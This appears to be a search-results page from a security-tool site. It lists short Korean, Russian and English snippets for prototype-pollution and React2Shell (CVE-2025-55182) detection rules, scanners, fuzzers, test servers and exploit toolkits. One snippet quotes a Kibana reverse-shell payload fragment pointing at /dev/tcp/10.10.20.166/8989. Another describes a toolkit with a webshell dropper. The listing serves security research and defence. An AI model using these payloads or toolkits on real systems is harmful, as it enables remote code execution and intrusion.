132277 matches found
Suricata-Rule-for-Detecting-CVE-2025-55182
CVE‑2025‑55182용 Suricata 탐지 규칙 Next.js Action Poisoning → Node.js execSync RCE 📌 설명 이 문서는 Suricata 규칙 SID 900304 이 CVE‑2025‑55182 의 악용 시도를 탐지하는 방법을 설명합니다. CVE‑2025‑55182는 Action Poisoning 을 가능하게 하여 임의의 Node.js RCE 로 이어지는 Next.js의 치명적인 취약점입니다. 구체적으로 다음 경로를 통해 발생합니다: 프로토타입 오염Prototype Pollution 내부...
CVE-2023-45827
CVE-2023-45827 Обзор уязвимости CVE-2023-45827 CVSS : 9.8 Nov 3, 2023 ProtoType Pollution в пакете node.js Часть проекта rebob Описание уязвимости уведомления GitHub Это уязвимость типа Prototype Pollution PP в dot-diver. Она может привести к RCE. уязвимый код root@kitploit:...
React2Shell
🔐 React2Shell - Next.js RSC 오염 RCE 툴킷 이 Python 툴킷은 Next.js React Server Components RSC 프로토타입 오염 + React.lazy-1 가젯 체인을 악용하여 전체 RCE 접근을 제공하며, 인터랙티브 갓 셸, 파일 업로드 PHP 웹셸 드로퍼 및 ?out=을 통한 탈취를 포함합니다. 이미지 미리보기 🧾 main.py 📌 목적 취약한 Next.js 앱예: target.com의 자동 탐지 및 악용. uid=33www-data 셸을 드롭하며 다음을 제공:...
CVE-2025-71389_exploit
CVE-2025-71389 — Cal.com 인증되지 않은 원격 코드 실행 react2shell Cal.com = 5.9.9로 업그레이드하세요 패치된 Next.js 버전 중 하나: 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7. RSC 서버 함수 핸들러를 신뢰할 수 없...
ppfuzz
ppfuzz Фаззер для Prototype Pollution Быстрый инструмент для сканирования уязвимостей prototype pollution на стороне клиента, написанный на Rust. 🦀 Установка Бинарный файл Исходный код Зависимости Демонстрация Использование Базовое использование...
ppfuzz
ppfuzz Prototype Pollution Fuzzer A fast tool to scan client-side prototype pollution vulnerability written in Rust. 🦀 Installation Binary Source Dependencies Demonstration Usage Basic Options Usage Supporting Materials Contributing Attribution Acknowledments License Installation...
CVE-2025-55182-poc
CVE-2025-55182 Доказательство концепции Критическое удалённое выполнение кода без аутентификации в компонентах React Server Полное доказательство концепции, демонстрирующее CVE-2025-55182, критическую уязвимость в [email protected], которая позволяет неаутентифицированным атакующим выполнять...
kibana-prototype-pollusion
CVE-2019-7609 5.6.15 이전 및 6.6.1 이전의 Kibana 버전은 Timelion 시각화 도구에서 임의 코드 실행 취약점을 포함합니다. Timelion 애플리케이션에 접근할 수 있는 공격자는 JavaScript 코드를 실행하려는 요청을 보낼 수 있습니다. 이로 인해 공격자가 호스트 시스템에서 Kibana 프로세스의 권한으로 임의 명령을 실행할 수 있습니다. CVSS: 블로그: https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609...
CVE-2025-55182-scanner
Сканер поверхности экспозиции React Server Components CVE-2025-55182 Специализированный, неинвазивный детектор поверхности для CVE-2025-55182 RCE в React Server Components. ⚠️ Критический технический контекст Прочтите это перед сканированием: Хотя CVE-2025-55182 является критической уязвимостью RC...
CVE-2025-55182-Test-Server
CVE-2025-55182-Test-Server 안전한 환경에서 react2shell을 가지고 놀아보세요! 빠른 시작 저장소를 클론하세요 root@kitploit: git clone https://github.com/CharlesTheGreat77/CVE-2025-55182-Test-Server cd CVE-2025-55182-Test-Server Docker 파일을 실행하세요 root@kitploit: docker compose up --build -d PoC root@kitploit: curl -s -X POST...
pphack
pphack Продвинутый сканер загрязнения прототипов на стороне клиента Сделано с 💙 от edoardottt Поделиться в Twitter! Установка • Начало работы • Примеры • Список изменений • Участие • Лицензия Установка 📡...
CVE-2025-25014
CVE-2025-25014에 대한 POC Kibana의 프로토타입 오염 취약점으로 인해 머신 러닝 및 보고 엔드포인트에 대한 조작된 HTTP 요청을 통해 임의 코드 실행이 발생합니다. 현재 이 POC 는 취약한 인스턴스를 감지만 합니다. 사용법 root@kitploit: python CVE-2025-25014.py -u username -p password --proxy proxyurl url...
react2shell_analyzer
React2Shell Analyzer Мощный анализатор HTTP-прокси для проверки трафика Server Actions Next.js между вашим браузером/PoC и сервером Next.js. GitHub Репозиторий https://github.com/Benrich127N/react2shellanalyzer.git Возможности 🔍 Проверка заголовков : Логирование всех заголовков запросов и ответов...
CVE-2025-55182-Toolbox
React2Shell: Комплексный инструмент для эксплуатации CVE-2025-55182 Автор: lamaper / BITs2Sys Версия: 1.0.1 Лицензия: MIT 📝 Описание инструмента Данный инструмент представляет собой автоматизированное средство для пентеста, специально разработанное для CVE-2025-55182 RCE через загрязнение цепочки...
CVE-2025-55182-PoC
⚡ React2Shell Exploit PoC CVE-2025-66478 Удаленное выполнение кода RCE в Next.js через загрязнение прототипа в серверных компонентах 🕵️♂️ Обзор Этот репозиторий содержит доказательство концепции PoC для CVE-2025-66478 также упоминается как CVE-2025-55182 в некоторых контекстах — критической...
CVE-2025-55182-exp
CVE-2025-55182-exp 🔥 Обзор CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода RCE в React Server Components RSC, затрагивающая приложения Next.js, использующие App Router с Server Actions. Уязвимость существует в процессе десериализации протокола Flight, что позволяет...
kibana-RCE
CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Canvas를 클릭하여 셸 획득...
R2C-CVE-2025-55182-66478
🔥React2Shell 툴킷 - CVE-2025-55182 & CVE-2025-66478 🚨 React Server Components 및 Next.js의 치명적 RCE 🚨 CVE-2025-55182 탐지 및 익스플로잇을 위한 전문 레드팀 툴킷 🔍 기능 • ⚡ 빠른 시작 • 📚 문서 • 🤝 연락 🎯 CVE-2025-55182 및 CVE-2025-66478 정보 🐛 React2Shell이란? React2Shell 은 React Server ComponentsRSC 및 Next.js 애플리케이션에 영향을 미치는 인증되지 않은 치명...
jspanda
JSPanda JSpanda — это сканер уязвимостей прототипного загрязнения на стороне клиента. У него две ключевые функции: сканирование уязвимостей по предоставленным URL и анализ исходного кода JavaScript-библиотек. Однако JSpanda не может обнаруживать сложные уязвимости прототипного загрязнения. Как...